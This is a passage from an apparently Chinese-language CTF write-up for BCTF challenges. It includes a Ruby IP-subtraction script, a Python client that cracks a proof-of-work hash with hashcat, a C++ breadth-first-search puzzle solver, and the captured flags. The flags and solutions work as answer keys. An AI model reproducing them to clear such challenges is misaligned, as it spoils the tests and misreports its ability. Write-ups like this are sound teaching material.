  ip2 = ip2.split('.').map(&:to_i)
  4.times
    .map {|i| (ip1[i] - ip2[i] + 256) % 256}
    .map(&:to_s)
    .join('.')
end

puts ip_sub(ARGV[0], ARGV[1])
$ ruby ip_diff.rb 87.61.45.59 77.60.43.26
10.1.2.33
$ ruby ip_diff.rb 87.4.98.152 77.60.43.26
10.200.55.126
$ ruby ip_diff.rb 249.78.85.56 77.60.43.26
172.18.42.30
$ ruby ip_diff.rb 13.228.21.29 77.60.43.26
192.168.234.3
$ nc 218.2.197.236 12345
Welcome to proxy system. Pleas enter secret servers information to login.
IP address of host "bctf.secret.server1":
10.1.2.33
IP address of host "bctf.secret.server2":
10.200.55.126
IP address of host "bctf.secret.server3":
172.18.42.30
IP address of host "bctf.secret.server4":
192.168.234.3
Accessing secret servers, please wait ......
Success!
BCTF{W31c0m3_70_0ur_53cr37_53rv3r_w0r1d}

耶比 BCTF{W31c0m3_70_0ur_53cr37_53rv3r_w0r1d}

 
about 9 years ago

沒什麼好說的,就是個正常的 ICPC BFS 題。
前面要先做一個滿足某條件 hash 的 proof of work,可以用 hashcat 輕鬆解決。

solve.py
import socket
import hashlib
import struct
import sys
import subprocess
import time

st = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
st.connect(('218.2.197.243',6000))

print st.recv(4096)
s = st.recv(4096)
print s
s = s[s.find('SHA1'):]
salt = s[6:22]
sha1 = s[45:45+40]
f = open('hash','w')
f.write(sha1+":"+salt)
f.close()
s = subprocess.check_output("./hashcat-0.47/hashcat hash -m 120 -a 3 -1 '?l?d?u' '?1?1?1?1'",shell=True)
s = s[s.find(salt):][17:21]
print s
st.send(s+'\n')
print st.recv(4096)
s = st.recv(4096).split('\n')[1]
try:
  for tt in range(10000):
    print '('+s+')'
    f = open('input','w')
    f.write(s+'\n')
    f.close()
    subprocess.check_output("./solve")
    ss = open('sol','r').read().split('\n')
    for i in range(len(ss)-1):
      if i==len(ss)-2 and ss[i-1]==ss[i]:
        break
      s = ss[i]
      print '# '+s+']'
      st.send(s+'\n')
      print st.recv(4096)
    s = None
    while s == None:
      zzz = st.recv(4096)
      print zzz
      for x in zzz.split('\n'):
        if 'L' in x:
          s = x
          break
except:
  while True:
    print st.recv(4096)
    time.sleep(1)
solve.cpp
#include <stdio.h>
#include <string.h>
#include <algorithm>
using namespace std;

char str[30];
int dis[1<<21][21];
int pre[1<<21][21][2];
int que[30000000][2];
int n,sr;
int sol[100][2];

inline void add(int U,int x,int &p,int pu,int px){
    if(dis[U][x]==-1){
        dis[U][x] = dis[pu][px]+1;
        pre[U][x][0] = pu;
        pre[U][x][1] = px;
        que[++p][0] = U;
        que[p][1] = x;
    }
}
                                                                                                                               [66/172]
void print(int U,int x){
    for( int i=n-1; i>=0; i-- ){
        if(i==n-x-1){
            if((U>>i)&1){
                puts("ERROR");
                while(1);
            }
            printf(" ");
        }else{
            printf("%c","LR"[(U>>i)&1]);
        }
    }
    puts("");
}

int calc(int S,int x,int T){
    int p,q,sx=x;
    int U,d,dU,l1,l2,r1,r2,m;
    dis[S][x] = 0;
    p = 0;
    q = -1;
    que[0][0] = S;
    que[0][1] = x;
    while(p!=q){
        q++;
        U = que[q][0];
        x = que[q][1];
        //print(U,x);
        if(U==T){
            m = dis[T][x];
            sr = 0;
            while(U!=S || x!=sx){
                sol[sr][0] = U;
                sol[sr++][1] = x;
                dU = U;
                U = pre[dU][x][0];
                x = pre[dU][x][1];
            }
            sol[sr][0] = U;
            sol[sr++][1] = x;
            return m;
        }
        m = 1<<(n-1-x);
        l1 = m<<1;
        l2 = m<<2;
        r1 = m>>1;
        r2 = m>>2;
        if(x>0){
            dU = ((U&l1)>>1)|(U&(~l1));
            add(dU,x-1,p,U,x);
            if(x>1){
                dU = ((U&l2)>>2)|(U&(~l2));
                add(dU,x-2,p,U,x);
            }
        }
        if(x<n-1){
            dU = ((U&r1)<<1)|(U&(~r1));
            add(dU,x+1,p,U,x);
            if(x<n-2){
                dU = ((U&r2)<<2)|(U&(~r2));
                add(dU,x+2,p,U,x);
            }
        }
    }
    return -1;
}

int main(){
    int x,d,xl,xr;
    FILE *fi = fopen("input","r");
    fgets(str,sizeof(str),fi);
    fclose(fi);
    d = 0;
    xl = xr = 0;
    for( int i=0; str[i]!='\n'; i++ ){
        d<<=1;
        if(str[i]==' '){
            x = i;
        }else if(str[i]=='L'){
            xl++;
        }else{
            d++;
            xr++;
        }
    }
    n = xl+xr+1;
    memset(dis,-1,sizeof(dis));
    calc(d,x,((1<<xr)-1)<<(xl+1));
    printf("%d\n",sr);
    FILE* fs = fopen("sol","w");
    for( int i=sr-1; i>0; i-- ){
        print(sol[i][0],sol[i][1]);
        fprintf(fs,"%d\n",sol[i-1][1]+1);
    }
    print(sol[0][0],sol[0][1]);
    fprintf(fs,"%d\n",xl+1);
    fclose(fs);
    return 0;
}
$ python solve.py
Welcome to the game server!


Proof of work to start the game.
SHA1("efJcaYiCX7AyV7nY" + X).hexdigest() == "ce486d471280a169930efdd1512c85d81e28df72", X is a string of alphanumeric
Input X:
HRVN
Hey, shall we play a game?
Give me a solution to help them get their destination and I will send you your precious.
Please wait while we're generating new round for you

(RRLR LRRLRLLLRL)
# 6]
RRLRL RRLRLLLRL

# 7]
RRLRLR RLRLLLRL

# 5]
RRLR RLRLRLLLRL

# 3]
RR RLRLRLRLLLRL

# 4]
RRR LRLRLRLLLRL

# 6]
RRRRL LRLRLLLRL

# 8]
RRRRLRL LRLLLRL

# 10]
RRRRLRLRL LLLRL

# 12]
RRRRLRLRLLL LRL

# 14]
RRRRLRLRLLLRL L

# 13]
RRRRLRLRLLLR LL

# 11]
RRRRLRLRLL RLLL

# 10]
RRRRLRLRL LRLLL

# 12]
RRRRLRLRLRL LLL

# 11]
RRRRLRLRLR LLLL

# 9]
RRRRLRLR RLLLLL

# 7]
RRRRLR RLRLLLLL

# 5]
RRRR RLRLRLLLLL

# 6]
RRRRR LRLRLLLLL

# 8]
RRRRRRL LRLLLLL

# 10]
RRRRRRLRL LLLLL

# 9]
RRRRRRLR LLLLLL

# 7]
RRRRRR RLLLLLLL

# 8]
Congratulations

[Please wait while we're generating new round for you
Round 2
LRLRRLRRLLR LRL
(LRLRRLRRLLR LRL)
...
(After 100 rounds of game)
...
Congratulations
Your flag is BCTF{wh0-s4ys-h4cke7s-c4nn0t-d0-4lg0rIthm}

(100 輪真的好久...)